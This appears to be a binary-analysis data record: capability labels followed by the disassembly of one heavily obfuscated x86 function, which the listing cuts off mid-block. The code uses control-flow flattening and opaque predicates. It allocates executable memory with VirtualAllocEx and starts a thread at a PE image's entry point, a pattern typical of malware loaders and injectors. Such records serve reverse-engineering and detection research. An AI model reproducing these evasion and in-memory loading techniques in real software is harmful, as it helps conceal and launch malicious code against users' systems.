Function at 0x401a30
Capabilities:
Access peb ldr_data
Create thread
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x1d0
mov eax, dword [0x4ea2c0]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov eax, dword [0x4ec418]
mov ecx, dword [0x4ec414]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
mov eax, 0xa38ab37e
sete byte [ebp - 0x8d]
cmp ecx, 0xa
setl byte [ebp - 0x8e]
jmp 0x401ac0
mov eax, dword [0x4ec418]
mov ebx, 0x9a1164eb
mov edi, 0x6c980cf2
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x6c980cf2
sete al
cmove ecx, ebx
cmp dword [0x4ec414], 0xa
setl dl
cmovge ecx, edi
xor dl, al
cmovne ecx, ebx
mov eax, ecx
nop word cs:[eax + eax]
cmp eax, 0xfd5fb705
jg 0x401b60
cmp eax, 0xc12d6c59
jg 0x401c00
cmp eax, 0xa2596db3
jg 0x401cd2
cmp eax, 0x8d0df761
jle 0x401ea2
cmp eax, 0x96505e73
jg 0x40216d
cmp eax, 0x90e81b40
jg 0x40265e
cmp eax, 0x8ded161b
jle 0x402f0b
cmp eax, 0x8ded161c
je 0x403c8b
cmp eax, 0x8f625e03
je 0x403cc0
cmp eax, 0x8fc78b62
jne 0x401ac0
mov eax, dword [ebp - 0x10c]
mov edi, 0xc8d7ebf9
mov ebx, 0xe7d907a0
mov eax, dword [eax]
mov dword [ebp - 0x194], eax
mov eax, dword [0x4ec418]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0xe7d907a0
jmp 0x40573f
cmp eax, 0x3d627b14
jg 0x401c70
cmp eax, 0x20735f8e
jle 0x401d4f
cmp eax, 0x2f7cbb88
jle 0x401efd
cmp eax, 0x35920216
jg 0x4021ca
cmp eax, 0x333a83af
jg 0x4026bc
cmp eax, 0x30ee6b41
jle 0x402f50
cmp eax, 0x30ee6b42
je 0x403ccd
cmp eax, 0x31ecccd3
je 0x403d01
cmp eax, 0x3337befa
jne 0x401ac0
mov edx, dword [0x4ec418]
mov eax, dword [0x4ec414]
mov edi, 0xfd5fb706
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x3deb8935
jmp 0x40568a
cmp eax, 0xe2cbd46d
jle 0x401dc2
cmp eax, 0xec6d0b08
jle 0x401f49
cmp eax, 0xf519fbed
jg 0x40220b
cmp eax, 0xf0279f95
jg 0x4026f2
cmp eax, 0xed836fa6
jle 0x402f79
cmp eax, 0xed836fa7
je 0x403d53
cmp eax, 0xedec29a2
je 0x403d63
cmp eax, 0xf024e988
jne 0x401ac0
mov eax, dword [ebp - 0x28]
mov eax, 0xca55c4e3
jmp 0x401ac0
cmp eax, 0x5e5c12eb
jle 0x401e4b
cmp eax, 0x7115aeed
jle 0x401f9b
cmp eax, 0x798414f0
jg 0x40225e
cmp eax, 0x73c52cd2
jg 0x402752
cmp eax, 0x72268748
jle 0x402fa0
cmp eax, 0x72268749
je 0x403d6d
cmp eax, 0x728580c4
je 0x403d77
cmp eax, 0x7292d3b3
jne 0x401ac0
mov eax, 0xe2567b35
jmp 0x401ac0
cmp eax, 0xb29cd93e
jg 0x402004
cmp eax, 0xa9fb9b46
jg 0x4022bb
cmp eax, 0xa5552ea5
jg 0x4027a4
cmp eax, 0xa31f86c4
jle 0x402fcd
cmp eax, 0xa31f86c5
je 0x403d81
cmp eax, 0xa33a21ab
je 0x403daf
cmp eax, 0xa38ab37e
jne 0x401ac0
movzx ecx, byte [ebp - 0x8d]
movzx eax, byte [ebp - 0x8e]
mov edi, 0x6d5bde80
mov edx, ecx
xor dl, al
mov edx, 0x96505e74
cmovne edx, edi
test al, al
mov eax, edx
cmovne eax, edi
test cl, cl
cmove eax, edx
jmp 0x401ac0
cmp eax, 0xd43deff
jg 0x402050
cmp eax, 0x223aa35
jle 0x4022fc
cmp eax, 0x63b3371
jg 0x4027e9
cmp eax, 0x3e945e8
jle 0x403025
cmp eax, 0x3e945e9
je 0x403e14
cmp eax, 0x52a4de2
je 0x403e24
cmp eax, 0x620f9a7
jne 0x401ac0
mov eax, dword [0x4ec418]
mov edi, 0x73c5934d
mov ebx, 0xa31f86c5
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0xa31f86c5
jmp 0x40573f
cmp eax, 0xd65f7417
jg 0x4020a7
cmp eax, 0xc8d7ebf8
jle 0x40233d
cmp eax, 0xd0e825ed
jg 0x40285a
cmp eax, 0xcd951f67
jle 0x403078
cmp eax, 0xcd951f68
je 0x403e42
cmp eax, 0xcf8c9563
je 0x403e6c
cmp eax, 0xcfa4e774
jne 0x401ac0
mov eax, dword [ebp - 0x40]
mov edi, 0x397081e6
mov ebx, 0xe78bd9b7
mov eax, dword [eax]
mov dword [ebp - 0xfc], eax
mov eax, dword [ebp - 0x30]
mov eax, dword [eax]
mov dword [ebp - 0x100], eax
mov eax, dword [0x4ec418]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xe78bd9b7
jmp 0x40563f
cmp eax, 0x4f3de30f
jg 0x4020f6
cmp eax, 0x4808c6d2
jle 0x402387
cmp eax, 0x4baa0efa
jg 0x402890
cmp eax, 0x4ab7eb82
jle 0x4030d5
cmp eax, 0x4ab7eb83
je 0x403e92
cmp eax, 0x4b6de2d0
je 0x403ec4
cmp eax, 0x4ba37a52
jne 0x401ac0
mov eax, 0x4446d2c9
jmp 0x401ac0
cmp eax, 0x86e7bc75
jle 0x4023c8
cmp eax, 0x8a9b372b
jg 0x4028d1
cmp eax, 0x8728907e
jle 0x4030f5
cmp eax, 0x8728907f
je 0x403f20
cmp eax, 0x872bf2f5
je 0x403f2a
cmp eax, 0x89adc9fd
jne 0x401ac0
cmp byte [ebp - 0x8f], 0
mov eax, 0xb74bb560
mov ecx, 0xbf05ce3c
cmovne eax, ecx
jmp 0x401ac0
cmp eax, 0x2754b7bb
jle 0x402415
cmp eax, 0x2c233711
jg 0x402907
cmp eax, 0x29d89c35
jle 0x40311e
cmp eax, 0x29d89c36
je 0x403f81
cmp eax, 0x2a24704c
je 0x404061
cmp eax, 0x2b204819
jne 0x401ac0
mov eax, 0x63c65b7b
jmp 0x401ac0
cmp eax, 0xe7d9079f
jle 0x40247e
cmp eax, 0xea172ac3
jg 0x402940
cmp eax, 0xe8d0d9dc
jle 0x40313e
cmp eax, 0xe8d0d9dd
je 0x404088
cmp eax, 0xe9f29d21
je 0x404092
cmp eax, 0xea06d538
jne 0x401ac0
mov eax, dword [ebp - 0x11c]
mov eax, 0x570187eb
jmp 0x401ac0
cmp eax, 0x66e3fe9a
jle 0x4024c5
cmp eax, 0x6b929612
jg 0x402981
cmp eax, 0x684f8027
jle 0x40315e
cmp eax, 0x684f8028
je 0x4040c6
cmp eax, 0x6a5cc81e
je 0x404134
cmp eax, 0x6a7400bd
jne 0x401ac0
mov eax, dword [0x4ec418]
mov ebx, 0x51e4f20a
mov edi, 0x48b0deda
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x48b0deda
jmp 0x401a97
cmp eax, 0xb74bb55f
jle 0x402509
cmp eax, 0xbc3ebf1e
jg 0x4029d3
cmp eax, 0xb92059d5
jle 0x40318d
cmp eax, 0xb92059d6
je 0x40413e
cmp eax, 0xb9c99e5f
je 0x404148
cmp eax, 0xbb27f16a
jne 0x401ac0
mov eax, 0xe30bbc44
jmp 0x401ac0
cmp eax, 0x158cd8b6
jle 0x402566
cmp eax, 0x1b6cead4
jg 0x402a1d
cmp eax, 0x187c9488
jle 0x4031bc
cmp eax, 0x187c9489
je 0x404186
cmp eax, 0x192de0c9
je 0x4041b9
cmp eax, 0x193cf956
jne 0x401ac0
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x34]
inc eax
mov dword [ecx], eax
mov eax, 0x7115aeee
jmp 0x401ac0
cmp eax, 0xdd702f33
jle 0x4025a7
cmp eax, 0xdf707826
jg 0x402a7d
cmp eax, 0xddb7f515
jle 0x4031eb
cmp eax, 0xddb7f516
je 0x4041c3
cmp eax, 0xde3979b3
je 0x4041e9
cmp eax, 0xdf2693fc
jne 0x401ac0
mov eax, dword [ebp - 0x80]
mov eax, 0x187c9489
jmp 0x401ac0
cmp eax, 0x5809827d
jle 0x4025f3
cmp eax, 0x5b42048d
jg 0x402ae1
cmp eax, 0x5943f348
jle 0x40320b
cmp eax, 0x5943f349
je 0x4041fc
cmp eax, 0x598e1e96
je 0x404223
cmp eax, 0x59c10d64
jne 0x401ac0
mov eax, dword [ebp - 0xec]
mov ebx, 0x45cb9cc5
mov edi, 0xed836fa7
mov eax, dword [eax + 0x34]
mov dword [ebp - 0xf0], eax
mov eax, dword [0x4ec418]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xed836fa7
jmp 0x405075
cmp eax, 0x9ad47486
jg 0x402b24
cmp eax, 0x96d40a15
jle 0x403253
cmp eax, 0x96d40a16
je 0x40423c
cmp eax, 0x98ec7df9
je 0x40426d
cmp eax, 0x9a1164eb
jne 0x401ac0
mov eax, dword [0x4ec418]
mov edi, 0x1c12f4d5
mov ebx, 0x6c980cf2
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x6c980cf2
jmp 0x40573f
cmp eax, 0x39e6e9a2
jg 0x402b83
cmp eax, 0x38ab2cde
jle 0x403286
cmp eax, 0x38ab2cdf
je 0x404298
cmp eax, 0x393ae3dd
je 0x4042bf
cmp eax, 0x397081e6
jne 0x401ac0
mov eax, 0x7be4440e
jmp 0x401ac0
cmp eax, 0xf7c92259
jg 0x402bd3
cmp eax, 0xf6055f85
jle 0x4032a6
cmp eax, 0xf6055f86
je 0x4042c9
cmp eax, 0xf60c351b
je 0x4042d6
cmp eax, 0xf613601d
jne 0x401ac0
mov eax, dword [ebp - 0x24]
mov ecx, 0x20000000
mov eax, dword [eax]
and eax, ecx
mov dword [ebp - 0x1c0], eax
mov eax, 0xed4c2028
jmp 0x401ac0
cmp eax, 0x7c97c489
jg 0x402c22
cmp eax, 0x7b6d8613
jle 0x4032cc
cmp eax, 0x7b6d8614
je 0x4042e0
cmp eax, 0x7bb3fa9f
je 0x4042ea
cmp eax, 0x7be4440e
jne 0x401ac0
mov eax, dword [0x4ec418]
mov ebx, 0x2f7cbb89
mov edi, 0x30ee6b42
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x30ee6b42
jmp 0x405075
cmp eax, 0xab7820f6
jle 0x402c7e
cmp eax, 0xaeda1275
jle 0x403300
cmp eax, 0xaeda1276
je 0x4042f4
cmp eax, 0xafdc341e
je 0x40430d
cmp eax, 0xb28a9da0
jne 0x401ac0
mov eax, 0x155a9bc
jmp 0x401ac0
cmp eax, 0x35ea80
jle 0x402ca9
cmp eax, 0x155a9bb
jle 0x403331
cmp eax, 0x155a9bc
je 0x404342
cmp eax, 0x18e79a1
je 0x404375
cmp eax, 0x1c48a98
jne 0x401ac0
mov eax, 0xe6ab6a62
jmp 0x401ac0
cmp eax, 0xc3b8f445
jle 0x402ce3
cmp eax, 0xc5843c34
jle 0x40337a
cmp eax, 0xc5843c35
je 0x404394
cmp eax, 0xc659419b
je 0x4043a7
cmp eax, 0xc836d383
jne 0x401ac0
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x34]
mov eax, 0xd76de2da
jmp 0x401ac0
cmp eax, 0x4446d2c8
jle 0x402d17
cmp eax, 0x45cb9cc4
jle 0x4033a5
cmp eax, 0x45cb9cc5
je 0x4043c1
cmp eax, 0x4680e3e9
je 0x4043cb
cmp eax, 0x47bf8300
jne 0x401ac0
mov eax, 0x8aac0762
jmp 0x401ac0
cmp eax, 0x837f3a9f
jle 0x402d45
cmp eax, 0x859b8646
jle 0x4033cb
cmp eax, 0x859b8647
je 0x4043fe
cmp eax, 0x85c1d97b
je 0x40442e
cmp eax, 0x868c5606
jne 0x401ac0
mov eax, dword [ebp - 0x114]
mov eax, dword [ebp - 0x118]
mov eax, 0x3b1b1467
jmp 0x401ac0
cmp eax, 0x246a31d5
jle 0x402d70
cmp eax, 0x24b82900
jle 0x403414
cmp eax, 0x24b82901
je 0x40443e
cmp eax, 0x253c0539
je 0x40445e
cmp eax, 0x25403f90
jne 0x401ac0
mov edx, dword [0x4ec418]
mov eax, dword [0x4ec414]
mov edi, 0xf2b8a5bd
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0x29d89c36
jmp 0x404815
cmp eax, 0xe6ab6a61
jle 0x402db7
cmp eax, 0xe70ed093
jle 0x403473
cmp eax, 0xe70ed094
je 0x404479
cmp eax, 0xe74a9841
je 0x40449f
cmp eax, 0xe78bd9b7
jne 0x401ac0
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x30]
mov eax, 0xcfa4e774
jmp 0x401ac0
cmp eax, 0x629268d3
jle 0x402dfe
cmp eax, 0x63e3e7cf
jle 0x403496
cmp eax, 0x63e3e7d0
je 0x4044b9
cmp eax, 0x6405223e
je 0x4044ec
cmp eax, 0x66164f35
jne 0x401ac0
mov eax, dword [ebp - 0x6c]
mov eax, 0x25403f90
jmp 0x401ac0
cmp eax, 0xb59262d7
jle 0x402e29
cmp eax, 0xb65fa768
jle 0x4034c2
cmp eax, 0xb65fa769
je 0x404505
cmp eax, 0xb6c5098d
je 0x40453a
cmp eax, 0xb6faf3e9
jne 0x401ac0
mov eax, dword [0x4ec418]
mov edi, 0x10066cb1
mov ebx, 0xbc4649de
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0xbc4649de
jmp 0x40573f
cmp eax, 0xe77a576
jle 0x402e54
cmp eax, 0x10b94864
jle 0x4034e8
cmp eax, 0x10b94865
je 0x404569
cmp eax, 0x117677c2
je 0x40457c
cmp eax, 0x1308b344
jne 0x401ac0
mov eax, 0x7f84fc86
jmp 0x401ac0
cmp eax, 0xd76de2d9
jle 0x402ea9
cmp eax, 0xd9306599
jle 0x40354f
cmp eax, 0xd930659a
je 0x4045b6
cmp eax, 0xd949290e
je 0x4045c3
cmp eax, 0xdc9d57d9
jne 0x401ac0
mov eax, dword [ebp - 0x54]
mov eax, dword [eax]
mov dword [ebp - 0x1d4], eax
mov eax, 0x73c52cd3
jmp 0x401ac0
cmp eax, 0x52fe1ca5
jle 0x402ee0
cmp eax, 0x54348b8c
jle 0x40357d
cmp eax, 0x54348b8d
je 0x4045d8
cmp eax, 0x55a3acb2
je 0x4045f1
cmp eax, 0x570187eb
jne 0x401ac0
cmp dword [ebp - 0x11c], 0
mov eax, dword [0x4ec418]
mov ebx, 0xfda3ce87
mov edi, 0xea06d538
lea ecx, [eax + 1]
setne byte [ebp - 0x95]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0xea06d538
jmp 0x401a97
cmp eax, 0x945a3866
jle 0x4035a8
cmp eax, 0x945a3867
je 0x40460a
cmp eax, 0x94bf8ae2
je 0x404617
cmp eax, 0x95e148e9
jne 0x401ac0
mov edx, dword [0x4ec418]
mov eax, dword [0x4ec414]
mov edi, 0x85c1d97b
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0x5b42048e
jmp 0x404815
cmp eax, 0x33a48c1c
jle 0x4035db
cmp eax, 0x33a48c1d
je 0x40462c
cmp eax, 0x343bda82
je 0x404639
cmp eax, 0x34948879
jne 0x401ac0
mov eax, 0x7fb3393e
jmp 0x401ac0
cmp eax, 0xf179a853
jle 0x403613
cmp eax, 0xf179a854
je 0x40466c
cmp eax, 0xf2b8a5bd
je 0x40468e
cmp eax, 0xf2eedfee
jne 0x401ac0
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0x88]
mov ecx, dword [ebp - 0x38]
inc eax
mov dword [ecx], eax
mov eax, 0x4680e3e9
jmp 0x401ac0
cmp eax, 0x75031ebe
jle 0x403633
cmp eax, 0x75031ebf
je 0x404747
cmp eax, 0x76ea33bd
je 0x404751
cmp eax, 0x788e93e3
jne 0x401ac0
mov eax, dword [0x4ec418]
mov ebx, 0xcfa4e774
mov edi, 0xe78bd9b7
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xe78bd9b7
jmp 0x405075
cmp eax, 0xa57f8736
jle 0x40369d
cmp eax, 0xa57f8737
je 0x404783
cmp eax, 0xa6df9000
je 0x404796
cmp eax, 0xa9d151b5
jne 0x401ac0
cmp byte [ebp - 0x90], 0
mov eax, 0xc24a07c3
mov ecx, 0x4ef614cd
cmovne eax, ecx
jmp 0x401ac0
cmp eax, 0x73abf1d
jle 0x4036d7
cmp eax, 0x73abf1e
je 0x4047c8
cmp eax, 0x90f8643
je 0x4047d2
cmp eax, 0x916b2a6
jne 0x401ac0
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x40]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x30]
mov edx, dword [edx]
lea edx, [edx + edx*4]
add eax, dword [ecx + edx*8 + 0xc]
mov dword [ebp - 0xf4], eax
mov eax, dword [ebp - 0xa0]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x40]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x30]
mov edx, dword [edx]
lea edx, [edx + edx*4]
add eax, dword [ecx + edx*8 + 0x14]
mov dword [ebp - 0xf8], eax
mov eax, 0x788e93e3
jmp 0x401ac0
cmp eax, 0xd1bc6b42
jle 0x4036f7
cmp eax, 0xd1bc6b43
je 0x4047df
cmp eax, 0xd3a27464
je 0x40482c
cmp eax, 0xd5a8575e
jne 0x401ac0
mov eax, 0x8f625e03
jmp 0x401ac0
cmp eax, 0x4ce2319e
jle 0x403717
cmp eax, 0x4ce2319f
je 0x404853
cmp eax, 0x4eba76d8
je 0x4048a3
cmp eax, 0x4ef614cd
jne 0x401ac0
mov eax, dword [ebp - 0x50]
mov eax, dword [eax]
mov dword [ebp - 0x16c], eax
mov eax, 0xe74a9841
jmp 0x401ac0
cmp eax, 0x8b0e1fce
jle 0x403748
cmp eax, 0x8b0e1fcf
je 0x404905
cmp eax, 0x8c24d7c4
je 0x404937
cmp eax, 0x8c97814a
jne 0x401ac0
mov eax, 0x6e866861
jmp 0x401ac0
cmp eax, 0x2d99aecb
jle 0x403790
cmp eax, 0x2d99aecc
je 0x404941
cmp eax, 0x2e235e14
je 0x404967
cmp eax, 0x2ebb7e3a
jne 0x401ac0
mov eax, dword [ebp - 0x30]
mov eax, 0x281d7183
jmp 0x401ac0
cmp eax, 0xeb50d70c
jle 0x4037c4
cmp eax, 0xeb50d70d
je 0x404971
cmp eax, 0xeb59820e
je 0x4049a8
cmp eax, 0xeb5fae48
jne 0x401ac0
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x148]
mov dword [eax], ecx
mov eax, 0x7fb3393e
jmp 0x401ac0
cmp eax, 0x6c980cf1
jle 0x40380d
cmp eax, 0x6c980cf2
je 0x4049d2
cmp eax, 0x6d5bde80
je 0x4049dc
cmp eax, 0x6e866861
jne 0x401ac0
mov eax, dword [0x4ec418]
mov ebx, 0x38ab2cdf
mov edi, 0xb2cdeb9b
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0xb2cdeb9b
jmp 0x401a97
cmp eax, 0xbe08c6b5
jle 0x4038a1
cmp eax, 0xbe08c6b6
je 0x404a6d
cmp eax, 0xbf05ce3c
je 0x404aa2
cmp eax, 0xc03267ae
jne 0x401ac0
mov eax, dword [ebp - 0x84]
mov ecx, dword [ebp - 0x1d8]
vmovsd xmm0, qword [eax]
mov eax, 0x343bda82
vmovsd qword [ecx], xmm0
jmp 0x401ac0
cmp eax, 0x1c12f4d4
jle 0x4038c4
cmp eax, 0x1c12f4d5
je 0x404ac7
cmp eax, 0x1c4884a1
je 0x404ad1
cmp eax, 0x1e441003
jne 0x401ac0
mov edx, dword [0x4ec418]
mov ecx, dword [0x4ec414]
mov edi, 0x1b6cead5
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x8a9b372c
jmp 0x404eff
cmp eax, 0xe0e29eec
jle 0x4038f3
cmp eax, 0xe0e29eed
je 0x404af1
cmp eax, 0xe23e3ab6
je 0x404afe
cmp eax, 0xe2567b35
jne 0x401ac0
mov eax, dword [ebp - 0x138]
push 0x40
push 0x3000
push dword [ebp - 0x134]
push 0
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, dword [ebp - 0xe4]
mov dword [ecx], eax
mov eax, dword [ebp - 0xe4]
mov eax, 0xeb59820e
jmp 0x401ac0
cmp eax, 0x5b681b61
jle 0x403917
cmp eax, 0x5b681b62
je 0x404b31
cmp eax, 0x5b7bd8b7
je 0x404b4c
cmp eax, 0x5d8c4fb1
jne 0x401ac0
mov eax, dword [ebp - 0x17c]
inc eax
mov dword [ebp - 0x180], eax
mov eax, 0x3ebf1672
jmp 0x401ac0
cmp eax, 0x9b14bed6
jle 0x403960
cmp eax, 0x9b14bed7
je 0x404b7f
cmp eax, 0x9ee2b7ee
je 0x404b8c
cmp eax, 0xa02244cc
jne 0x401ac0
mov edx, dword [0x4ec418]
mov eax, dword [0x4ec414]
mov edi, 0x72268749
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x35920217
jmp 0x40568a
cmp eax, 0x3b1b1466
jle 0x40399c
cmp eax, 0x3b1b1467
je 0x404bd1
cmp eax, 0x3c0ba314
je 0x404c0b
cmp eax, 0x3c60bdce
jne 0x401ac0
mov eax, dword [ebp - 0x54]
mov eax, dword [eax]
mov dword [ebp - 0x114], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
movzx eax, word [eax + 6]
mov dword [ebp - 0x118], eax
mov eax, 0xf7c9225a
jmp 0x401ac0
cmp eax, 0xf9b105c7
jle 0x4039cb
cmp eax, 0xf9b105c8
je 0x401a76
cmp eax, 0xf9eb2015
je 0x404c5a
cmp eax, 0xfac037f3
jne 0x401ac0
mov eax, dword [ebp - 0x50]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x28]
mov dword [ecx], eax
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0xa4]
mov eax, dword [ebp - 0xc4]
mov eax, 0xe6ab6a62
jmp 0x401ac0
cmp eax, 0x7f84fc85
jle 0x403a13
cmp eax, 0x7f84fc86
je 0x404d8b
cmp eax, 0x7fb3393e
je 0x404d95
cmp eax, 0x7fb642fd
jne 0x401ac0
mov eax, dword [ebp - 0x58]
mov ebx, 0xb92059d6
mov edi, 0xc12d6c5a
mov dword [eax], 0x20
mov eax, dword [0x4ec418]
lea ecx, [eax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xc12d6c5a
jmp 0x401a97
cmp eax, 0xaa771d1a
jle 0x403a39
cmp eax, 0xaa771d1b
je 0x404dbb
cmp eax, 0xab35d943
jne 0x4058df
mov eax, 0x76ea33bd
jmp 0x401ac0
cmp eax, 0xfe0d4703
jg 0x403a5c
cmp eax, 0xfd5fb706
je 0x404ddd
cmp eax, 0xfda3ce87
jne 0x401ac0
cmp byte [ebp - 0x95], 0
mov eax, 0xd65f7418
mov ecx, 0x5b7bd8b7
cmovne eax, ecx
jmp 0x401ac0
cmp eax, 0xc3074005
jg 0x403aae
cmp eax, 0xc12d6c5a
je 0x404e18
cmp eax, 0xc24a07c3
jne 0x401ac0
mov eax, dword [ebp - 0x2c]
mov dword [eax], 7
mov eax, 0xaa51478d
jmp 0x401ac0
cmp eax, 0x3ebf1671
jg 0x403ace
cmp eax, 0x3d627b15
je 0x404e2b
cmp eax, 0x3deb8935
jne 0x401ac0
mov eax, dword [ebp - 0x24]
mov eax, 0xfd5fb706
jmp 0x401ac0
cmp eax, 0x816ca674
jg 0x403aee
cmp eax, 0x8054b797
je 0x404e81
cmp eax, 0x80723b75
jne 0x401ac0
mov eax, 0x52fe1ca6
jmp 0x401ac0
cmp eax, 0x21e22a1a
jg 0x403b17
cmp eax, 0x20735f8f
je 0x404e8b
cmp eax, 0x219d3628
jne 0x401ac0
mov eax, dword [0x4ec418]
mov edi, 0x90e81b41
mov ebx, 0x86e7bc76
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x86e7bc76
jmp 0x40573f
cmp eax, 0xe3332b6d
jg 0x403b5f
cmp eax, 0xe2cbd46e
je 0x404ed0
cmp eax, 0xe30bbc44
jne 0x401ac0
mov eax, dword [0x4ec418]
mov edi, 0x4ce2319f
mov ebx, 0xe0e29eed
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xe0e29eed
jmp 0x40563f
cmp eax, 0x604092e3
jg 0x403b7f
cmp eax, 0x5e5c12ec
je 0x404f15
cmp eax, 0x5fb7c0df
jne 0x401ac0
mov eax, 0x5e5c12ec
jmp 0x401ac0
cmp eax, 0xb40eea19
jg 0x403ba5
cmp eax, 0xb29cd93f
je 0x404f34
cmp eax, 0xb2cdeb9b
jne 0x401ac0
mov eax, 0x38ab2cdf
jmp 0x401ac0
cmp eax, 0xe36ae8a
jg 0x403bc8
cmp eax, 0xd43df00
je 0x404f47
cmp eax, 0xdbbfcd8
jne 0x401ac0
mov edx, dword [0x4ec418]
mov ecx, dword [0x4ec414]
mov edi, 0xbe08c6b6
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xe6ea8a30
jmp 0x404eff
cmp eax, 0xd6a191a9
jg 0x403c04
cmp eax, 0xd65f7418
je 0x404f74
cmp eax, 0xd670e348
jne 0x401ac0
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0xd8]
mov eax, 0xab7820f7
jmp 0x401ac0
cmp eax, 0x51e4f209
jg 0x403c68
cmp eax, 0x4f3de310
je 0x404f9b
cmp eax, 0x5198fee7
jne 0x401ac0
mov eax, 0x66164f35
jmp 0x401ac0
cmp eax, 0x8d0df762
je 0x404fa5
cmp eax, 0x8db01e27
jne 0x401ac0
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x58]
mov dword [eax], 0x40
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x40]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x54]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
lea eax, [eax + ecx*8]
mov dword [ebp - 0x1b8], eax
mov eax, 0xb6c5098d
jmp 0x401ac0
cmp eax, 0x2f7cbb89
je 0x404fef
cmp eax, 0x2faf1580
jne 0x401ac0
mov eax, dword [ebp - 0x2c]
mov dword [eax], 0
mov eax, 0x52a4de2
jmp 0x401ac0
cmp eax, 0xec6d0b09
je 0x40503f
cmp eax, 0xed4c2028
jne 0x401ac0
cmp dword [ebp - 0x1c0], 0
mov eax, 0x4ab7eb83
jmp 0x404dd0
cmp eax, 0x7115aeee
je 0x405092
cmp eax, 0x71ec1167
jne 0x401ac0
mov eax, dword [ebp - 0x144]
inc eax
mov dword [ebp - 0x148], eax
mov eax, 0xeb5fae48
jmp 0x401ac0
cmp eax, 0xa2596db4
je 0x4050b9
cmp eax, 0xa28a669e
jne 0x401ac0
mov eax, dword [ebp - 0xb0]
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x20]
mov ecx, dword [ecx]
add eax, dword [ecx + 0x28]
push 0
push 0
push 0
push eax
push 0
push 0
vzeroupper
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0xb0]
mov dword [ecx], eax
mov eax, dword [ebp - 0x70]
movzx eax, byte [eax]
mov byte [ebp - 0x49], al
mov eax, 0xd3a27464
jmp 0x401ac0
cmp eax, 0x223aa36
je 0x4050ea
cmp eax, 0x3c602d0
jne 0x401ac0
mov eax, dword [ebp - 0x44]
mov ebx, 0xb28a9da0
mov edi, 0xc3074006
mov eax, dword [eax]
mov ecx, dword [ebp - 0x34]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
lea eax, [eax + ecx*4 + 0x10]
mov dword [ebp - 0x10c], eax
mov eax, dword [0x4ec418]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
